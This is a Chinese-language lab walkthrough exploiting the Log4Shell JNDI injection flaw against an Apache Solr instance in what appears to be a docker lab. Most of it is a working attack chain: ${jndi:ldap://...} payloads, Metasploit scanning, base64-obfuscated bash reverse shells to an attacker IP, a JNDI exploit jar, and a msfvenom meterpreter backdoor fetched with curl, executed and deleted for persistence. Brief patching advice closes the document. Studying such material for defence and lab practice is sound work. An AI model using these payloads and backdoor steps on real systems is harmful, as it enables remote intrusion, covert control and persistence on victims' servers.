前期了解:
apache log4j: 是java语言中的日志处理套件/程序。2.0-2.14.1存在JNDI注入漏洞,导致攻击者可以控制日志内容的情况下,传入${jndi:ldap://xxxxxx.com/rce}的参数进行JNDI注入,执行远程命令。
JNDI:命名和目录接口,是java的一个目录服务应用程序接口,功能:提供一个目录系统,将服务名称和对象关联起来,使开发能使用名称来访问对象。
jndi可以远程加载ldap、rmi服务端提供的一些恶意代码
ldap:轻量级目录访问协议(类似于http,可以通过ldap://xxx.com访问)
log4j:
fatal 严重/致命
error 错误
warn 警告
info 信息
debug 调试
trace 程序允许轨迹[获得信息更详细]
all 所有日志级别
定制 自定义的级别
{jndi://ldap://服务IP/恶意代码}
一、启动环境docker-compose up -d:
二、浏览器访问 : http://ip:8983
三、msf检测
msfconsole
msf6 > use auxiliary/scanner/http/log4shell_scanner
msf6 auxiliary(scanner/http/log4shell_scanner) > set rhosts 172.16.12.13
rhosts => 172.16.12.13
msf6 auxiliary(scanner/http/log4shell_scanner) > set rport 8983
rport => 8983
msf6 auxiliary(scanner/http/log4shell_scanner) > set srvhost 172.16.12.12
srvhost => 172.16.12.12
msf6 auxiliary(scanner/http/log4shell_scanner) > run
四、漏洞检测:
1、DNSlog 回显 h724nn.dnslog.cn
172.16.12.13:8983 拼接/solr/admin/cores?action= 再利用bp抓包 发送到重发器
利用dns回显查看java版本:
${jndi:ldap://${sys:java.version}.h724nn.dnslog.cn}
2、漏洞利用方法一:利用“中转”机器反弹shell
(1)kali攻击机12.12 ----开启监听
(2)“中转”机器12.11----开启ldap服务
(3)构造payload后去访问
http://172.16.12.13:8983/solr/admin/cores?action=${jndi:ldap://172.16.12.11:1389/Basic/ReverseShell/172.16.12.12/5555}
(4)“中转”机器服务得到回显,kali监听成功
3、漏洞利用方法二、利用bash反弹
kali启用ldap服务 在目标机执行反弹shell的命令
命令:bash -i > /dev/tcp/172.16.12.12/5555 2>&1 0>&1
精简版:bash -i >& /dev/tcp/172.16.12.12/5555 0>&1
(1)kali攻击机12开启监听【java版本需为1.8版本】
(2)对payload进行base64编码:
bash -i >& /dev/tcp/172.16.12.12/5555 0>&1 【编码后得到以下结果】
IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE2LjEyLjEyLzU1NTUgMD4mMQ==
在靶机中实验一下效果【base64 -d 解码】
加上bash -i 执行命令后,kali监听成功
echo IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE2LjEyLjEyLzU1NTUgMD4mMQ== | base64 -d | bash -i
利用bash -c 将命令整合到一块 空格用逗号代替,管道符之间的命令用{}括起来
"bash -c {echo,IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE2LjEyLjEyLzU1NTUgMD4mMQ==}|{base64,-d}|{bash,-i}"
(3)攻击机kali12开启ldap服务
使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 【与方法一不同,该工具自带恶意代码执行功能】
加载的恶意代码用 -C 表示 加上上面的命令
-A 在哪台机子上启的服务 172.16.12.12 【上面中转机器的工具 用的是-i 】
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE2LjEyLjEyLzU1NTUgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 172.16.12.12
(4)构造payload访问后,kali监听成功:
http://172.16.12.13:8983/solr/admin/cores?action=${jndi:ldap://172.16.12.12:1389/mkqatg}
kali监听成功:【payload可编码后再进行访问】
五、生成持久后门监听6666端口
1、利用msf生成后门
msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=172.16.12.12 LPORT=6666 -f elf -o /var/www/html/jiali
2、使用监听模块监听
use exploit/multi/handler
3、使用获取到的权限远程下载木马并且执行
curl -so /tmp/jiali http://172.16.12.12/jiali;chmod +x /tmp/jiali;/tmp/jiali;rm -f /tmp/jiali
curl拓展:
-s 静默模式,不提示输出
-o 将下载的数据输出到目录
在拿到的权限下执行
监听成功:
六、修复建议
1、根除方案
(1)升级到2.15.0版本及以上 不要用2.15.0-rc1和2.15.0-rc2
(2)加装防护设备
(3)配置策略阻断log4j利用链
2、临时处置措施
(1)升级java版本
(2)修改log4j配置 jvm参数设置成true
(3)禁止log4j所在的服务器外连